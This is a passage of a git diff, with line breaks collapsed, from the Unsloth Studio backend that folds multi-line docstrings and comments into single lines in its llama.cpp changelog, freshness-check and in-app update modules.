exactly what that form is refused for."""import ipaddressfrom urllib.parse import urlparse@@ -372,8 +350,7 @@ def _has_keyless_lan_url(urls: list[str]) -> bool:if not parsed.hostname:continuetry:- # urlparse already strips the IPv6 brackets and lowercases; parse the- # remaining literal without normalising it+ # urlparse already strips the IPv6 brackets and lowercases; parse the remaining literal without normalising it.address = ipaddress.ip_address(parsed.hostname)except ValueError:continue@@ -489,8 +466,7 @@ def stop_lan_access(app) -> dict:status = lan_access_status(app)if status["managed_by"] == "launch":raise RuntimeError("launch_managed")- # a stop that could not confirm the port is closed leaves the host reachable,- # and lan_access keeps the trust flag with the listener state it describes+ # a stop that could not confirm the port is closed leaves the host reachable, and lan_access keeps the trust flag with the listener state it describes.if stop_lan_listener():clear_lan_listener_error()return lan_access_status(app)diff --git a/studio/backend/utils/llama_cpp_changelog.py b/studio/backend/utils/llama_cpp_changelog.pyindex b716efc7193..e50cb88fac4 100644--- a/studio/backend/utils/llama_cpp_changelog.py+++ b/studio/backend/utils/llama_cpp_changelog.py@@ -1,11 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""New carried changes between two published llama.cpp prebuilts.--The release body is cumulative, so the banner must diff the installed and target-bodies; showing the target body alone relabels old carried PRs as new.-"""+"""New carried changes between two published llama.cpp prebuilts. The release body is cumulative, so the banner must diff the installed and target bodies; showing the target body alone relabels old carried PRs as new."""from __future__ import annotations@@ -29,9 +25,7 @@ from utils.prebuilt.freshness_flow import (logger = structlog.get_logger(__name__)MAX_CHANGES = 50-# The only repo whose notes this module can read: generated, cumulative, one-# bullet per carried PR. --published-repo can point elsewhere, and a per-release-# body says nothing about what is still carried.+# The only repo whose notes this module can read: generated, cumulative, one bullet per carried PR. --published-repo can point elsewhere, and a per-release body says nothing about what is still carried.CUMULATIVE_NOTES_REPO = "unslothai/llama.cpp"# A release body is a few KB; the cap only bounds a far side that misbehaves.MAX_RELEASE_BYTES = 4 * 1024 * 1024@@ -59,8 +53,7 @@ def _valid_repo(repo: str) -> bool:def _is_cumulative_repo(repo: str) -> bool:- """Case-folded: GitHub owner/name is case-insensitive and --published-repo- persists whatever spelling was typed."""+ """Case-folded: GitHub owner/name is case-insensitive and --published-repo persists whatever spelling was typed."""return repo.casefold() == CUMULATIVE_NOTES_REPO.casefold()@@ -128,8 +121,7 @@ def _release_for_tag() -> Optional[dict]:"""Exact release with 24h success and 60s failure memoization."""key = (repo, tag)- # Memory-only, so monotonic throughout: a backward clock step must not be able- # to extend the TTL. freshness_flow uses wall time because it persists to disk.+ # Memory-only, so monotonic throughout: a backward clock step must not be able to extend the TTL. freshness_flow uses wall time because it persists to disk.now = time.monotonic()if force_refresh:forced_at = _release_forced_at.get(key)@@ -149,8 +141,7 @@ def _release_for_tag(release = _fetch_release(repo, tag)if release is None:_release_failed_at[key] = time.monotonic()- # Last-good fallback only within the TTL, or an unreachable release keeps- # answering stale and the panel presents that as matched.+ # Last-good fallback only within the TTL, or an unreachable release keeps answering stale and the panel presents that as matched.cached = _release_memo.get(key)if cached and time.monotonic() - cached[0] < RELEASE_CACHE_TTL_SECONDS:return cached[1]@@ -168,9 +159,7 @@ def _plain_text(markdown: str) -> str:def _entry(markdown: str) -> dict:- # Metadata starts at " ([", so a title keeps its parens: GLM-5-Next (GLM-5.3-Flash).- # rfind, not find: metadata is the LAST parenthesised group, and a title may- # contain " ([" -- "vulkan: handle ([a],[b]) tuples ([#5](...))".+ # Metadata starts at " ([", so a title keeps its parens: GLM-5-Next (GLM-5.3-Flash). rfind, not find: metadata is the LAST parenthesised group, and a title may contain " ([" as in "vulkan: handle ([a],[b]) tuples ([#5](...))".metadata_at = markdown.rfind(" ([")summary_markdown = markdown[:metadata_at] if metadata_at >= 0 else markdownlinks = []@@ -183,11 +172,9 @@ def _entry(markdown: str) -> dict:def _identities(markdown: str) -> set[str]:- """Stable aliases for one carried change: a patch migrated to an Unsloth carry- PR links that PR but still says ``ggml-org#24423``, and both must match."""+ """Stable aliases for one carried change: a patch migrated to an Unsloth carry PR links that PR but still says ``ggml-org#24423``, and both must match."""identities = set()- # One namespace: GitHub numbers issues and PRs together, so ``/issues/900``,- # ``/pull/900`` and ``repo#900`` are the same object. Separate prefixes only miss.+ # One namespace: GitHub numbers issues and PRs together, so ``/issues/900``, ``/pull/900`` and ``repo#900`` are the same object. Separate prefixes only miss.for _label, url in _LINK.findall(markdown):match = _PR_URL.match(url) or _ISSUE_URL.match(url)if match:@@ -209,20 +196,14 @@ def _bullets(body: object) -> list[str]:def release_page_url(repo: str, tag: str) -> Optional[str]:- """The human release page, so a failed comparison can still offer a way to- read the notes on GitHub. None when the repo is not a safe ``owner/name``."""+ """The human release page, so a failed comparison can still offer a way to read the notes on GitHub. None when the repo is not a safe ``owner/name``."""if not _valid_repo(repo) or not tag:return Nonereturn f"https://github.com/{repo}/releases/tag/{urllib.parse.quote(tag, safe = '')}"def unavailable_reason(repo: str, installed_tag: str, latest_tag: str) -> str:- """Why a comparison could not be made, for a caller holding ``None``.-- ``notes_not_itemised`` (predates the bullet format) and- ``notes_not_comparable`` (non-cumulative repo) are permanent;- ``release_notes_unavailable`` may succeed later, so it keeps its Retry.- """+ """Why a comparison could not be made, for a caller holding ``None``. ``notes_not_itemised`` (predates the bullet format) and ``notes_not_comparable`` (non-cumulative repo) are permanent; ``release_notes_unavailable`` may succeed later, so it keeps its Retry."""if not _valid_repo(repo) or not installed_tag or not latest_tag:return "release_notes_unavailable"if not _is_cumulative_repo(repo):@@ -231,8 +212,7 @@ def unavailable_reason(repo: str, installed_tag: str, latest_tag: str) -> str:installed = _release_for_tag(repo, installed_tag)if installed is None:return "release_notes_unavailable"- # Only the INSTALLED side is permanent: it shipped before the bullet format and- # will never gain one. A bad target is the newest release, so it may yet be fixed.+ # Only the INSTALLED side is permanent: it shipped before the bullet format and will never gain one. A bad target is the newest release, so it may yet be fixed.if not _bullets(installed.get("body")):return "notes_not_itemised"return "release_notes_unavailable"@@ -245,10 +225,7 @@ def changelog_for_update(*,force_refresh: bool = False,) -> Optional[dict]:- """Return only target bullets absent from the installed release.-- None means no comparison was possible; do not fall back to the cumulative body.- """+ """Return only target bullets absent from the installed release. None means no comparison was possible; do not fall back to the cumulative body."""if not repo or not installed_tag or not latest_tag or installed_tag == latest_tag:return Noneif not _is_cumulative_repo(repo):@@ -258,13 +235,11 @@ def changelog_for_update(if installed is None or latest is None:return None- # Releases before b9625-mix-2d6bd50 (2026-06-14) name carries in prose, so no- # bullets means unknown, not "carries nothing".+ # Releases before b9625-mix-2d6bd50 (2026-06-14) name carries in prose, so no bullets means unknown, not "carries nothing".installed_bullets = _bullets(installed.get("body"))if not installed_bullets:return None- # A prose-only target says "carries nothing"; a missing or blank one says- # nothing at all, and "no new changes" would claim a comparison never made.+ # A prose-only target says "carries nothing"; a missing or blank one says nothing at all, and "no new changes" would claim a comparison never made.latest_body = latest.get("body")if not isinstance(latest_body, str) or not latest_body.strip():return Nonediff --git a/studio/backend/utils/llama_cpp_freshness.py b/studio/backend/utils/llama_cpp_freshness.pyindex 56559e8e1c2..7b201b093cb 100644--- a/studio/backend/utils/llama_cpp_freshness.py+++ b/studio/backend/utils/llama_cpp_freshness.py@@ -1,17 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""llama.cpp prebuilt freshness check.--Reads UNSLOTH_PREBUILT_INFO.json (written by install_llama_prebuilt.py)-and compares the installed release tag against the latest on GitHub.-Surfaced via main.py:lifespan() and /api/inference/status. Fails open-on any missing data so we never show a misleading banner.--The mechanics (marker walk-up, GitHub fetch, memo + disk cache, report-skeleton) live in utils.prebuilt.freshness_flow; this module keeps the-llama version policy and the per-module caches its tests patch.-"""+"""llama.cpp prebuilt freshness check. Reads UNSLOTH_PREBUILT_INFO.json (written by install_llama_prebuilt.py) and compares the installed release tag against the latest on GitHub, surfaced via main.py:lifespan() and /api/inference/status. Fails open on any missing data so we never show a misleading banner. The mechanics (marker walk-up, GitHub fetch, memo + disk cache, report skeleton) live in utils.prebuilt.freshness_flow; this module keeps the llama version policy and the per-module caches its tests patch."""from __future__ import annotations@@ -48,8 +38,7 @@ def _cache_dir() -> Path:def read_install_marker(binary_path: Optional[str]) -> Optional[dict]:- """Walk up from binary_path to find UNSLOTH_PREBUILT_INFO.json.- None = no marker (source build / custom path) or invalid JSON."""+ """Walk up from binary_path to find UNSLOTH_PREBUILT_INFO.json. None = no marker (source build / custom path) or invalid JSON."""return _flow.read_install_marker(binary_path,marker_name = _INSTALL_MARKER_NAME,@@ -69,8 +58,7 @@ def _save_disk_cache(repo: str, latest_tag: Optional[str]) -> None:def _fetch_latest_release_tag(repo: str, timeout: float = 5.0) -> Optional[str]:- """Newest published release tag for `repo`, by publish time (see- freshness_flow for why this is not GitHub's /releases/latest pointer)."""+ """Newest published release tag for `repo`, by publish time (see freshness_flow for why this is not GitHub's /releases/latest pointer)."""return _flow.fetch_latest_release_tag(repo, timeout, log_message = "freshness fetch failed")@@ -88,16 +76,14 @@ def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optiodef _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[dict[str, int]]:- """Asset name -> size (bytes) for the newest published release of `repo`,- selected exactly like _fetch_latest_release_tag. None on any failure."""+ """Asset name -> size (bytes) for the newest published release of `repo`, selected exactly like _fetch_latest_release_tag. None on any failure."""return _flow.fetch_latest_release_assets(repo, timeout, log_message = "freshness asset fetch failed")def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optional[dict[str, int]]:- """Newest-release asset sizes for `repo`, memoized (24h TTL). None when- offline and never fetched. In-memory only -- a restart simply re-fetches."""+ """Newest-release asset sizes for `repo`, memoized (24h TTL). None when offline and never fetched. In-memory only, so a restart simply re-fetches."""return _flow.latest_release_assets(repo,force_refresh = force_refresh,@@ -113,16 +99,13 @@ def update_download_size_bytes(*,force_refresh: bool = False,) -> Optional[int]:- """Download size of the latest-release asset matching this host's installed- bundle (same platform/arch/runtime suffix as the installed asset). None when- there is no marker asset, the latest assets can't be read, or no match."""+ """Download size of the latest-release asset matching this host's installed bundle (same platform/arch/runtime suffix as the installed asset). None when there is no marker asset, the latest assets cannot be read, or nothing matches."""if not marker or not latest_tag or not repo:return Noneinstalled_asset = marker.get("asset")if not isinstance(installed_asset, str):return None- # Tag-independent platform suffix: accept the fork's "app-*" bundles and the upstream ggml-org "ubuntu-*"/"win-*"- # prebuilts ("windows" before "win").+ # Tag-independent platform suffix: accept the fork's "app-*" bundles and the upstream ggml-org "ubuntu-*"/"win-*" prebuilts ("windows" before "win").m = re.search(r"-((?:linux|ubuntu|windows|win|macos|darwin)-.*)$", installed_asset)if not m:return None@@ -151,9 +134,7 @@ def _parse_installed_at(value: object) -> Optional[datetime]:def parse_base_build(tag: object) -> Optional[int]:- """Numeric base build from a release tag. Handles both a plain ``bNNNN`` and- a mix-build tag like ``b9596-mix-<sha>`` (anchored at the start, so the mix- suffix doesn't defeat it). None for anything not starting with ``bNNNN``."""+ """Numeric base build from a release tag. Handles both a plain ``bNNNN`` and a mix-build tag like ``b9596-mix-<sha>`` (anchored at the start, so the mix suffix does not defeat it). None for anything not starting with ``bNNNN``."""if not isinstance(tag, str):return Nonem = re.match(r"b(\d+)", tag.strip())@@ -161,17 +142,7 @@ def parse_base_build(tag: object) -> Optional[int]:def is_behind(installed: Optional[str], latest: Optional[str]) -> bool:- """Whether `installed` is genuinely behind `latest`, comparing the FULL- release identity (so a mix build can legitimately be the latest) with a- base-build guard so a lagging GitHub /releases/latest can never read as an- update or a downgrade.-- - identical tags -> not behind (clears the sticky banner post-update)- - higher base build on `latest` -> behind; lower -> NOT behind (downgrade guard)- - same base build: a different/new mix -> behind, but a bare ``bNNNN`` never- supersedes a mix build (extra PRs) at that base -> not behind- - non-bNNNN tags -> behind (plain inequality, since they already differ)- """+ """Whether `installed` is genuinely behind `latest`, comparing the FULL release identity (so a mix build can legitimately be the latest) with a base-build guard so a lagging GitHub /releases/latest can never read as an update or a downgrade. Identical tags are not behind (clearing the sticky banner post-update); a higher base build on `latest` is behind and a lower one is NOT (downgrade guard); at the same base build a different or new mix is behind, but a bare ``bNNNN`` never supersedes a mix build (extra PRs); non-bNNNN tags are behind by plain inequality, since they already differ."""if not installed or not latest:return Falseinstalled, latest = installed.strip(), latest.strip()@@ -182,8 +153,7 @@ def is_behind(installed: Optional[str], latest: Optional[str]) -> bool:return Trueif lb != ib:return lb > ib- # Same base build, different tags: offer a mix (latest carries a suffix), but never offer a bare base- # over a mix install at the same base.+ # Same base build, different tags: offer a mix (latest carries a suffix), but never offer a bare base over a mix install at the same base.return latest != f"b{lb}"@@ -193,15 +163,8 @@ def check_prebuilt_freshness(threshold_days: int = STALENESS_THRESHOLD_DAYS,now: Optional[datetime] = None,) -> dict:- """Returns {has_marker, stale, behind, installed_tag, latest_tag,- installed_at_utc, age_days, published_repo, threshold_days}.- behind = installed genuinely older than latest (see is_behind).- stale = behind AND age >= threshold.- Fails open on missing data (behind/stale stay False)."""- # Display prefers the normalized base tag, comparison uses the FULL identity, since /releases/latest returns the- # full tag_name: comparing the two produced a permanent "downgrade" banner.- # The marker records a normalized base tag ("tag", e.g. b9596) and the full "release_tag" (b9596-mix-<sha>), with- # deliberately opposite fallbacks.+ """Returns {has_marker, stale, behind, installed_tag, latest_tag, installed_at_utc, age_days, published_repo, threshold_days}. behind = installed genuinely older than latest (see is_behind), stale = behind AND age >= threshold. Fails open on missing data (behind/stale stay False)."""+ # Display prefers the normalized base tag, comparison uses the FULL identity, since /releases/latest returns the full tag_name and comparing the two produced a permanent "downgrade" banner. The marker records a normalized base tag ("tag", e.g. b9596) and the full "release_tag" (b9596-mix-<sha>), with deliberately opposite fallbacks.return _flow.check_freshness(binary_path,threshold_days = threshold_days,@@ -220,15 +183,7 @@ def format_stale_warning(info: dict) -> str:def reset_caches(*, drop_disk: bool = False) -> None:- """Drop the in-memory freshness caches. The no-arg form is test-only.-- With ``drop_disk = True`` also delete the on-disk 24h release cache. Used by- the post-install/update path: in-memory clearing alone leaves the stale- same-base value on disk, so if the post-install GitHub refresh can't reach- the network, ``latest_published_release`` would replay that stale disk value- (see its last-good fallback) and the banner could linger. Dropping the disk- cache makes latest read as None in that offline case, so the banner fails- open (off) instead of pointing at the just-replaced build."""+ """Drop the in-memory freshness caches. The no-arg form is test-only. With ``drop_disk = True`` also delete the on-disk 24h release cache, used by the post-install/update path: clearing memory alone leaves the stale same-base value on disk, so if the post-install GitHub refresh cannot reach the network ``latest_published_release`` would replay that stale disk value (see its last-good fallback) and the banner could linger. Dropping the disk cache makes latest read None in that offline case, so the banner fails open instead of pointing at the just-replaced build."""_flow.reset_caches((_marker_cache, _release_memo, _release_failed_at, _assets_memo),drop_disk = drop_disk,diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.pyindex 59a45ecb1c1..88746c95b6b 100644--- a/studio/backend/utils/llama_cpp_update.py+++ b/studio/backend/utils/llama_cpp_update.py@@ -1,30 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""In-app llama.cpp prebuilt update.--Builds on utils.llama_cpp_freshness (which detects whether a newer prebuilt-release exists) and adds the *apply* half: run install_llama_prebuilt.py to-download the newest bundle for this host and atomically swap it in place, so-the next model load uses it.--Design notes:-- Detection is delegated to check_prebuilt_freshness(). We surface an- ``update_available`` flag (installed_tag != latest_tag) which is laxer than- freshness' ``stale`` (which additionally requires the install to be >= 3 days- old). The UI shows the "Update llama.cpp" affordance on update_available.-- The install is slow (download + extract + validate), so it runs on a daemon- thread; callers poll get_update_status() for the job state.-- Everything fails open: a missing marker / offline GitHub / source build just- reports update_available=False and never blocks the app.-- The mechanics (managed-root resolution, local-link detection, the resolve- probe, the streamed installer run) live in utils.prebuilt.update_flow; this- module keeps the llama policy and the job dict its callers poll.-- This is the single main update item: whisper.cpp piggybacks on it. Status- folds in a whisper sub-status (update_available becomes the union) and apply- chains a whisper phase after the llama phase when whisper is behind (see- update_flow.run_chained_update and whisper_cpp_update.chained_phase_plan).-"""+"""In-app llama.cpp prebuilt update: the *apply* half over utils.llama_cpp_freshness, running install_llama_prebuilt.py to download the newest bundle for this host and atomically swap it in. ``update_available`` (installed_tag != latest_tag) is laxer than freshness' ``stale`` (which also requires the install to be >= 3 days old); the UI shows the update affordance on update_available. The install is slow, so it runs on a daemon thread and callers poll get_update_status(). Everything fails open: a missing marker, offline GitHub or a source build reports update_available=False and never blocks the app. Mechanics (managed-root resolution, local-link detection, the resolve probe, the streamed installer run) live in utils.prebuilt.update_flow; this module keeps the llama policy and the job dict. whisper.cpp piggybacks on this single update item: status folds in a whisper sub-status (update_available becomes the union) and apply chains a whisper phase when whisper is behind (update_flow.run_chained_update, whisper_cpp_update.chained_phase_plan)."""from __future__ import annotations@@ -83,16 +60,13 @@ class _LlamaPhaseError(RuntimeError):self.reload_required = reload_required-# Background job state. Single in-flight update at a time, guarded by _job_lock._JOB_IDLE = _flow.JOB_IDLE_JOB_RUNNING = _flow.JOB_RUNNING_JOB_SUCCESS = _flow.JOB_SUCCESS_JOB_ERROR = _flow.JOB_ERROR_job_lock = threading.Lock()-# Covers the complete operation, including release/backend resolution before the-# worker starts. _job_lock only protects the status dictionary and must never be-# held across network work.+# Covers the whole operation including release/backend resolution before the worker starts. _job_lock only protects the status dict and must never be held across network work._operation_lock = threading.Lock()_job: dict = _flow.new_job()_ALREADY_RUNNING_MESSAGE = "Another llama.cpp install is already running."@@ -104,9 +78,7 @@ _rocm_install_args = _flow.rocm_install_argsdef _find_binary() -> Optional[str]:- """Locate the active llama-server binary via the inference backend's own- resolver, so update targets exactly what Unsloth runs. Lazy import keeps the- heavy inference module off this module's import path."""+ """Locate the active llama-server via the inference backend's own resolver, so update targets exactly what Unsloth runs. Lazy import keeps the heavy inference module off this import path."""try:from core.inference.llama_cpp import LlamaCppBackendreturn LlamaCppBackend._find_llama_server_binary()@@ -116,8 +88,7 @@ def _find_binary() -> Optional[str]:def _install_dir_for(binary_path: Optional[str]) -> Optional[Path]:- """The directory holding UNSLOTH_PREBUILT_INFO.json -- i.e. the install root- install_llama_prebuilt.py wrote and the one we re-install into."""+ """The directory holding UNSLOTH_PREBUILT_INFO.json, i.e. the install root install_llama_prebuilt.py wrote and the one we re-install into."""return _flow.install_dir_for(binary_path, marker_name = _INSTALL_MARKER_NAME)@@ -134,9 +105,7 @@ _resolve_memo: dict = {}def _resolve_prebuilt_for_host(*, force_refresh: bool = False) -> Optional[dict]:- """Run install_llama_prebuilt.py --resolve-prebuilt (no download) and return- {prebuilt_available, repo, release_tag, llama_tag, asset, install_kind} or- None. Fail-open: any error -> None so a source build never blocks the app."""+ """Run install_llama_prebuilt.py --resolve-prebuilt (no download) -> {prebuilt_available, repo, release_tag, llama_tag, asset, install_kind} or None. Fail-open: any error -> None so a source build never blocks the app."""return _flow.resolve_prebuilt_for_host(force_refresh = force_refresh,memo = _resolve_memo,@@ -146,13 +115,7 @@ def _resolve_prebuilt_for_host(*, force_refresh: bool = False) -> Optional[dict]def _installed_build_number(binary: Optional[str]) -> Optional[int]:- """Best-effort build number from ``llama-server --version``.-- Current llama.cpp reports a semantic version followed by ``build NNNN``;- older binaries put the build directly after ``version:``. None when- unparseable or <= 1: a source build with no git tags reports build 1,- which we treat as unknown (offer update).- """+ """Best-effort build number from ``llama-server --version``. Current llama.cpp reports a semantic version then ``build NNNN``; older binaries put the build directly after ``version:``. None when unparseable or <= 1: a source build with no git tags reports build 1, treated as unknown (offer update)."""if not binary:return Nonetry:@@ -177,31 +140,14 @@ def _installed_build_number(binary: Optional[str]) -> Optional[int]:def get_installed_llama_version() -> Optional[str]:- """Display string for the active llama.cpp install (e.g. 'b9585' or- 'b9601-mix-a0e2906'), or None.-- Prefers the install marker's release_tag -- the full unsloth release- identity, the same field the update banner compares as installed (see- #6219) -- so a 'b9601-mix-a0e2906' build reads back in full rather than- collapsing to its base 'b9601'. The marker's bare ``tag`` is only the- upstream llama.cpp build (no '-mix-<commit>' suffix), so it's the fallback.- Last resort is ``b<build>`` parsed from ``llama-server --version`` for- source/custom builds that have no marker.-- Lightweight: reads the local marker and at most runs ``--version``. Does no- network or release-freshness work (unlike get_update_status), so it is safe- to call from latency-sensitive paths like the About panel.- """+ """Display string for the active llama.cpp install (e.g. 'b9585' or 'b9601-mix-a0e2906'), or None. Prefers the marker's release_tag, the full unsloth release identity the update banner compares as installed (#6219), so a mix build reads back in full rather than collapsing to its base; the marker's bare ``tag`` is only the upstream build (no '-mix-<commit>'), so it is the fallback, and ``b<build>`` from ``llama-server --version`` is the last resort for markerless builds. Reads the local marker and at most runs --version, no network or freshness work, so it is safe on latency-sensitive paths like the About panel."""binary = _find_binary()marker = read_install_marker(binary)if marker:tag = marker.get("release_tag") or marker.get("tag")if tag:return tag- # Markerless/source build: the fallback execs ``llama-server --version``.- # Skip it while an update is swapping the tree -- on Windows that exec can- # make the installer's os.replace fail (the same race get_update_status's- # source-build probe guards against). The panel just omits the row.+ # Markerless/source build: the fallback execs ``llama-server --version``. Skip it while an update is swapping the tree, since on Windows that exec can make the installer's os.replace fail; the panel just omits the row.with _job_lock:job_running = _job["state"] == _JOB_RUNNINGif job_running:@@ -211,8 +157,7 @@ def get_installed_llama_version() -> Optional[str]:def _llama_install_root(binary: Optional[str]) -> Optional[Path]:- """The Unsloth-managed llama.cpp root the active binary lives under, or None- when the binary is unmanaged (see update_flow.managed_install_root)."""+ """The Unsloth-managed llama.cpp root the active binary lives under, or None when unmanaged (see update_flow.managed_install_root)."""return _flow.managed_install_root(binary,marker_root = _install_dir_for(binary),@@ -223,29 +168,21 @@ def _llama_install_root(binary: Optional[str]) -> Optional[Path]:def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:- """Update status for a markerless (source-build) install: offer the official- prebuilt when one exists for this host and is newer than the installed- binary. None -> caller falls through to the no-marker default (unsupported)."""+ """Update status for a markerless (source-build) install: offer the official prebuilt when one exists for this host and is newer. None -> caller falls through to the no-marker default (unsupported)."""res = _resolve_prebuilt_for_host(force_refresh = force_refresh)if not res or not res.get("prebuilt_available"):return None- # llama_tag is the upstream bNNNN base whose numeric part matches the build- # field in --version; release_tag is the full tag, either a same-base mix- # (bNNNN-mix-<sha>) or a fork wrapper (e.g. v1.0). Compare the numeric base- # against llama_tag.+ # llama_tag is the upstream bNNNN base whose numeric part matches --version's build field; release_tag is the full tag, either a same-base mix (bNNNN-mix-<sha>) or a fork wrapper (e.g. v1.0). Compare the numeric base against llama_tag.base_tag = res.get("llama_tag") or res.get("release_tag")release_tag = res.get("release_tag")if not base_tag:return None- # No resolvable install root (e.g. a pinned LLAMA_SERVER_PATH we cannot- # manage) means an apply would not take effect, so do not offer.+ # No resolvable install root (e.g. a pinned LLAMA_SERVER_PATH we cannot manage) means an apply would not take effect, so do not offer.if _llama_install_root(binary) is None:return Noneinstalled_build = _installed_build_number(binary)latest_build = parse_base_build(base_tag)- # A same-base mix adds patches the bare base lacks, so it is newer even at an- # unchanged build number (the marker path's is_behind already does this). The- # bNNNN anchor keeps a fork wrapper tag from being read as a mix.+ # A same-base mix adds patches the bare base lacks, so it is newer even at an unchanged build number; the bNNNN anchor keeps a fork wrapper tag from being read as a mix.latest_is_mix = (isinstance(release_tag, str)and latest_build is not None@@ -253,8 +190,7 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:and release_tag.strip() != f"b{latest_build}")if installed_build is None or latest_build is None:- # Unknown installed/latest version (the involuntary source-build case):- # treat as behind so we still offer the prebuilt.+ # Unknown installed/latest version (the involuntary source-build case): treat as behind so we still offer the prebuilt.update_available = Trueelif installed_build < latest_build:update_available = True@@ -266,8 +202,7 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:update_available = False# Display the mix tag when that's what makes it newer; otherwise the base.latest = release_tag if latest_is_mix else base_tag- # Size of the resolved prebuilt, so source builds show it like the marker- # path. Fails open to None (offline / asset absent from the release).+ # Size of the resolved prebuilt, so source builds show it like the marker path. Fails open to None (offline / asset absent).update_size_bytes = Noneif update_available:asset_name = res.get("asset")@@ -296,9 +231,7 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:def _active_install_is_local_link(binary: Optional[str]) -> bool:- """True when the active llama-server resolves through a --with-llama-cpp-dir- local link at the canonical llama.cpp directory (see- update_flow.active_install_is_local_link)."""+ """True when the active llama-server resolves through a --with-llama-cpp-dir local link at the canonical llama.cpp directory (update_flow.active_install_is_local_link)."""return _flow.active_install_is_local_link(binary, dir_name = "llama.cpp")@@ -319,9 +252,7 @@ def _local_link_status() -> dict:def _whisper_chain_status(*, force_refresh: bool = False, paired_llama_will_update: bool = False) -> Optional[dict]:- """Whisper's piggyback plan for the combined update item (see- whisper_cpp_update.chained_phase_plan). None disables the piggyback --- fail-open so whisper can never break the llama status or apply."""+ """Whisper's piggyback plan for the combined update item (whisper_cpp_update.chained_phase_plan). None disables the piggyback: fail-open so whisper can never break the llama status or apply."""try:from utils import whisper_cpp_updatereturn whisper_cpp_update.chained_phase_plan(@@ -334,10 +265,7 @@ def _whisper_chain_status(def _merge_whisper_status(status: dict, *, force_refresh: bool = False) -> dict:- """Fold the whisper sub-status into the llama status payload: the llama- update item is the single UI surface, so update_available becomes the union- (llama behind OR whisper behind) while llama_update_available keeps the- llama-only flag. All pre-existing top-level fields are preserved."""+ """Fold the whisper sub-status into the llama payload: the llama update item is the single UI surface, so update_available becomes the union (llama behind OR whisper behind) while llama_update_available keeps the llama-only flag. All pre-existing top-level fields are preserved."""status["llama_update_available"] = bool(status.get("update_available"))plan = _whisper_chain_status(force_refresh = force_refresh,@@ -369,12 +297,7 @@ def _merge_whisper_status(status: dict, *, force_refresh: bool = False) -> dict:def get_update_status(*, force_refresh: bool = False) -> dict:- """Report whether an update is available plus the current job state.-- This is the single main update item: llama.cpp drives it and the whisper- piggyback is folded in (see _merge_whisper_status). force_refresh bypasses- the 24h release cache for an explicit "check now".- """+ """Report whether an update is available plus the job state. This is the single main update item: llama.cpp drives it and the whisper piggyback is folded in (_merge_whisper_status). force_refresh bypasses the 24h release cache for an explicit "check now"."""status = _llama_only_status(force_refresh = force_refresh)return _merge_whisper_status(status, force_refresh = force_refresh)@@ -385,12 +308,7 @@ def get_update_changelog(installed_tag: Optional[str] = None,latest_tag: Optional[str] = None,) -> dict:- """Only carried changes added after the installed llama.cpp release.-- Separate from the polled status endpoint so opening the banner, not every- 3s poll, pays for the two exact release lookups. installed_tag/latest_tag- name the pair the caller is displaying; see the target selection below.- """+ """Only carried changes added after the installed llama.cpp release. Separate from the polled status endpoint so opening the banner, not every 3s poll, pays for the two exact release lookups. installed_tag/latest_tag name the pair the caller is displaying."""empty = {"matched": False,"installed_tag": None,@@ -409,18 +327,14 @@ def get_update_changelog(return emptyrepo = marker.get("published_repo") or DEFAULT_PUBLISHED_REPOinstalled_full = marker.get("release_tag") or marker.get("tag")- # force_refresh reaches only the exact release lookups. Refreshing the latest- # pointer would retarget a release the banner has not adopted, which it rejects.+ # force_refresh reaches only the exact release lookups. Refreshing the latest pointer would retarget a release the banner has not adopted, which it rejects.freshness = check_prebuilt_freshness(binary)latest = freshness.get("latest_tag")empty["installed_tag"] = freshness.get("installed_tag")empty["latest_tag"] = latestif not freshness.get("behind") or not installed_full or not latest:return empty- # Answer about the caller's pair, not whatever the shared latest-release memo- # now holds: any other surface's forced status check advances it process-wide,- # and the frontend rejects a mismatched answer, Retry included. Only while the- # install still matches.+ # Answer about the caller's pair, not whatever the shared latest-release memo now holds: any other surface's forced status check advances it process-wide and the frontend rejects a mismatched answer, Retry included. Only while the install still matches.if latest_tag and installed_tag and installed_tag == empty["installed_tag"]:latest = latest_tagempty["latest_tag"] = latest@@ -451,12 +365,10 @@ def _llama_only_status() -> dict:"""The llama.cpp half of get_update_status (no whisper sub-status)."""binary = _find_binary()- # A path selected in Settings is user-managed even if its folder happens to- # contain an Unsloth prebuilt marker. Never offer to replace that tree.+ # A path selected in Settings is user-managed even if its folder happens to contain an Unsloth prebuilt marker. Never offer to replace that tree.if _studio_custom_path_active():return _local_link_status()- # A --with-llama-cpp-dir local link is the user's own tree; never offer to- # replace it. Bail before any network/freshness work.+ # A --with-llama-cpp-dir local link is the user's own tree; never offer to replace it. Bail before any network/freshness work.if _active_install_is_local_link(binary):return _local_link_status()marker = read_install_marker(binary)@@ -464,11 +376,7 @@ def _llama_only_status(with _job_lock:job_running = _job["state"] == _JOB_RUNNING- # No marker = source build / custom path. Offer the official prebuilt if one- # now exists for this host (this is why macOS source builds showed no button).- # Skipped while the updater swaps the tree: each 3s poll would exec the- # half-replaced binary (on Windows that exec can make the installer's- # os.replace fail) and the poller only consumes job progress.+ # No marker = source build / custom path: offer the official prebuilt if one now exists for this host (this is why macOS source builds showed no button). Skipped while the updater swaps the tree, since each 3s poll would exec the half-replaced binary (on Windows that can make the installer's os.replace fail) and the poller only consumes job progress.if (marker is Noneand binary is not None@@ -481,7 +389,6 @@ def _llama_only_status(repo = (marker or {}).get("published_repo") or DEFAULT_PUBLISHED_REPOif force_refresh and repo:- # Prime the cache so the freshness read below sees the newest tag.try:latest_published_release(repo, force_refresh = True)except Exception as exc: # pragma: no cover - network defensive@@ -490,13 +397,10 @@ def _llama_only_status(freshness = check_prebuilt_freshness(binary)installed = freshness.get("installed_tag")latest = freshness.get("latest_tag")- # `behind` compares the full release identity with 